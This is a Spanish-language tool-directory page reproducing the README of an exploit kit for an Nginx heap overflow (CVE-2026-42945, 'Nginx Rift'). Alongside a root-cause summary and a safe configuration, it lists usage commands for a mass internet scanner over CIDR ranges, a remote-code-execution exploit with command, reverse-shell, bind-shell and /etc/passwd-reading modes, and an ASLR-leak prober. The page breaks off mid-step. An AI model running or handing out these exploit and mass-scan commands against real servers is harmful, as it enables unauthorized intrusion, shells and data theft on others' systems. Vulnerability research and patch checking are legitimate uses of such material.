Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945 — CVE-2026-42945 Nginx Rift | Kitploit
Herramientas/GitHubGitHub/liaoziqi-gzfls/cve-2026-42945
ReconocimientoAnálisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebFuzzingPruebas de PenetraciónDesarrollo de PayloadsExplotación de Binarios
GitHubliaoziqi-gzfls/cve-2026-42945

CVE-2026-42945

CVE-2026-42945 Nginx Rift

117hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Ver Repositorio
Compartir

CVE-2026-42945 Nginx Rift - Kit de Prueba de Concepto (PoC)

Un kit completo de prueba de concepto para CVE-2026-42945 (Nginx Rift), una vulnerabilidad crítica de desbordamiento de búfer en el montón en el módulo ngx_http_rewrite_module de Nginx.


Resumen de la Vulnerabilidad

CampoDetalles
ID CVECVE-2026-42945
NombreNginx Rift
TipoDesbordamiento de búfer en el montón
Componentengx_http_rewrite_module
GravedadCrítica (CVSS 9.2)
AfectadoNginx 0.6.27 - 1.30.0
ParcheadoNginx 1.30.1 / 1.31.0

Causa Raíz

La vulnerabilidad existe debido a un cálculo incorrecto del tamaño entre dos pasadas internas al procesar reglas de reescritura. Si una configuración utiliza:

  • Capturas de expresiones regulares sin nombre ($1, $2, etc.)
  • Combinadas con una cadena de reemplazo que contiene ?

Nginx calcula mal el tamaño del búfer requerido durante la primera pasada y escribe más allá del búfer asignado en el montón durante la segunda pasada.

Ejemplo de Configuración Vulnerable

server {
    # VULNERABLE: Captura sin nombre ($1) + '?' en el reemplazo
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Configuración Segura (Parcheada)

server {
    # SEGURA: Captura con nombre (?P<path>) reemplaza a $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Componentes del Kit

1. nginx_rift_poc.py - Herramienta PoC Principal

Herramienta de escaneo y explotación de vulnerabilidad para un solo objetivo.

Características:

  • Detectar la versión de Nginx desde la cabecera Server
  • Comprobar si la versión está en el rango vulnerable
  • Enviar cargas HTTP diseñadas para desencadenar el desbordamiento del montón
  • Generar configuraciones de prueba vulnerables/seguras

Uso:

# Detectar versión y probar vulnerabilidad
python nginx_rift_poc.py -t target.example.com

# Probar con carga personalizada
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# Objetivo HTTPS
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generar configuración de prueba vulnerable
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generar configuración segura (parcheada)
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py - Escáner Masivo

Escáner por lotes para probar múltiples objetivos simultáneamente.

Características:

  • Escaneo multi-hilo (50 hilos por defecto)
  • Lista de objetivos desde archivo o rango de red CIDR
  • Salida JSON para integración
  • Detección automática de SSL para el puerto 443

Uso:

# Escanear desde archivo de objetivos (formato: host:puerto por línea)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Escanear un solo objetivo
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Escanear un rango de red
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# Escaneo de alta velocidad
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Formato del archivo de objetivos:

# Los comentarios comienzan con #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py - Analizador de Configuración

Escanea archivos de configuración locales de Nginx en busca de patrones de reescritura vulnerables.

Características:

  • Analizar nginx.conf y seguir directivas include
  • Detectar capturas sin nombre con ? en cadenas de reemplazo
  • Soporte de corrección automática (con copia de seguridad)
  • Escaneo recursivo de directorios

Uso:

# Escanear un solo archivo
python config_checker.py /etc/nginx/nginx.conf

# Escanear directorio recursivamente
python config_checker.py -d /etc/nginx/conf.d/

# Corregir automáticamente patrones vulnerables (crea copia de seguridad .bak)
python config_checker.py --fix /etc/nginx/nginx.conf

# Detectar automáticamente rutas comunes de Nginx
python config_checker.py

4. enhanced_poc.py - PoC RCE Mejorado

Herramienta de explotación avanzada basada en la investigación oficial de depthfirst, que soporta múltiples patrones de reescritura y modos de explotación.

Características:

  • Detectar automáticamente 8 patrones de reescritura vulnerables comunes (/api/, /redirect/, /user/, etc.)
  • Soporte de múltiples caracteres de activación de desbordamiento (+, &, =, %)
  • Generación inteligente de cargas con tamaño de desbordamiento controlado
  • Múltiples modos de explotación: cmd / shell / bind / read
  • Direcciones base de montón/libc personalizadas para entornos sin ASLR
  • Construcción dinámica de cuerpo de spray con ngx_pool_cleanup_s falso

Uso:

# Detectar automáticamente patrones y versión
python enhanced_poc.py -t target.example.com --detect

# Ejecutar comando (ASLR desactivado)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Leer archivo remoto
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Base de montón personalizada (para objetivos sin ASLR)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Usar & como carácter de activación de desbordamiento
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Detalles del Modo de Explotación:

ModoDescripciónSalida
cmdEjecutar un comando shellSalida del comando en el objetivo
shellGenerar una reverse shellSe conecta de vuelta a --listen-ip:listen-port
bindGenerar una bind shellEscucha en --listen-port en el objetivo
readLeer archivo del objetivoContenido escrito en /tmp/nginx_rift_read

Configuración de Direcciones (solo sin ASLR):

  • --heap-base: Base del montón del objetivo (ej. 0x555555559000)
  • --libc-base: Dirección base de libc (ej. 0x7ffff77ba000)
  • --system-addr: Dirección directa de system() (anula libc-base)

5. aslr_leak_detector.py - Detector de Fugas ASLR

Escáner completo para detectar fugas de información que pueden eludir la protección ASLR.

Características:

  • Detección de fugas en cabeceras HTTP (Server, X-Powered-By, etc.)
  • Análisis de páginas de error para direcciones de memoria y trazas de pila
  • Sondeo de endpoints específicos de Nginx (/nginx_status, /actuator/*, etc.)
  • Detección de fugas de direcciones de memoria (punteros de 64 bits, direcciones de montón/libc/pila)
  • Sondeo del diseño del montón mediante análisis de tiempos
  • Inferencia del estado de ASLR (activado/desactivado/débil)
  • Integración directa con enhanced_poc.py mediante informe JSON

Uso:

# Escanear un solo objetivo
python aslr_leak_detector.py -t target.example.com

# Escanear con SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Escanear desde archivo, guardar informe
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Escanear rango de red
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Modo de escaneo rápido
python aslr_leak_detector.py -t target.example.com --quick

Integración con el PoC Mejorado:

# Paso 1: Detectar fugas
python aslr_leak_detector.py -t target.example.com -o leak.json
Descargar herramienta